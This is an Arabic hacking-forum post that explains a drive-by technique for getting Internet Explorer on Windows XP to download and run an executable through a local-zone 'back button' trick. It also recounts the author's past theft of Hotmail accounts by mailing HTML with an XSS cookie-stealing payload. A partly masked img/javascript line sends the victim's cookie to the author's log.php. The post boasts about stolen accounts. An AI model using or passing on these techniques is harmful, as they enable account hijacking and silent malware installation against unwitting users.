هلا باخوانا الطيبين شوفو شباب الطريقه مو فاشله بس الطريقه هي ماسويتوها انتو
واحد مثل عويس يقول برنامج edhtml
انا ابيك تقولي وش تعرف عنه البرنامج هاي شغال على ثغره والثغره شغاله بس هي مب remote
هاي الثغره اسمها adobd وهي ثغره تنزل ملف exe وتشغله او تقدر تحوله من سكرامبل او hex
ويحظفه exe ويشتغل
اما الطريقه الي تقولها هاي يبه البرنامج انك تسوي ملف html الملف مايشغل ال exe الا عن طريق ال local
بس يعني عن طريق موقع ماراح يشتغل شوف يبه
في ثغره اسمها backbutton
هم هي adobd بس هي وش فايدتها شوف هي نفس الطريقه بلضبط بس شتسوي زياده
اول شئ لما تدخل راح يطلعلك يقولك رساله وفيها موافق وغير موافق لو ضغت غير موافق ومشغل ديبج
راح تشوف الانترنت اكسبلورير يعطيك رساله يقولك submit.mod end;
يعني تكنسل اما لو حطيت موافق وهو عن طريقه بينقلك لعنوان خاطء ولازم يكون خاطء ولا ماتشتغل لان
في الانترنت اكسبلورير يمنع تشغيله شلون يعني لما تنقل لعنوان ثاني ممكن يستعمل سكربت جافا ويرجعك او
ينلقلك ويرجعك فراح يكون الملف في ال temp المهم اميصير ينقلك لعنوان شغال ويردك
الحين شتسوي لازم تخليه ينقلك لعنوان خاطء ولما يسوي back بكون ملف ال html الي فيه ثغره ال adobd
الي تشتغل في ال local بتكون في ال temp لانه نقلكل لعنوان خاطء فتنزل في ال temp هاي خاص بلانترنت
اكسبلورير فقط والحين هي يعني local ولما يسوي back راح تشتغل لوكال وينزل الملف في الكمبيوتر ويشتغل
انا جربتها على اكس بي هوم ادشن اخر اصدار انترنت اكسبلورير وابديت كامل ماعتقد لها ترقيع ...
فلطريقه الي تقول عنها ماتجوز تصير ولا شئ يعني وشو ترسل سكربت فيجيوال عن طريق الاميل وتضن انه بيشتغل
لا يبه لو كان كذا جان ولا اميل بقى موجود :)
اما عن طرق اختراق الاميل قبل كنت استعمل XSS او CSS واستعملها كذا اذكر ايام قبل خخخخخخ اميلات
بلهبل تنسرق
كنت ارسل رساله html للاميل الي ابي اخترقه عن طريق الكوكي المسجل فيه هو الدخول في الهوتميل
لما توصله الرساله بل html اكتب فيها هاي الكلام عشان اسحب الكوكي وهو مايدري وش السالفه
<img
src="javascript:window location='http://www.******.net/log php?&@#&@#&@#&@#&@#&@#='+ document.&@#&@#&@#&@#&@#&@#">
وبس كان يوصلني الكوكي واحصله مسجل في ملف log.txt خخخ واقعد في التشفير وحلال عليك الاميل لو فكيته
وبس هاي طريقه يعني وفي ملايين الطرق وفي اكثر واكثر ...
وانشاء الله وصلت لكم الفكره وانا ماشفت ولا طريقه حطيتوها في المنتدى تنزل باتش وتشغل وكل واحد
يقول ويقول قوله جربت بقولك اي وشغال خخخخخخخ تحصله مشغاله لوكال وشتغلت اي اكيد بتشتغل على الوكل
بس ماحد جربها على الثاني ولو جربها كذاب لان مافي ثغرات كذا الا خدع في البرمجه او النقل في
الانترنت اكسبلورير 6 وما فوق :D
انشاء الله وصلت الفكره للجميع ;)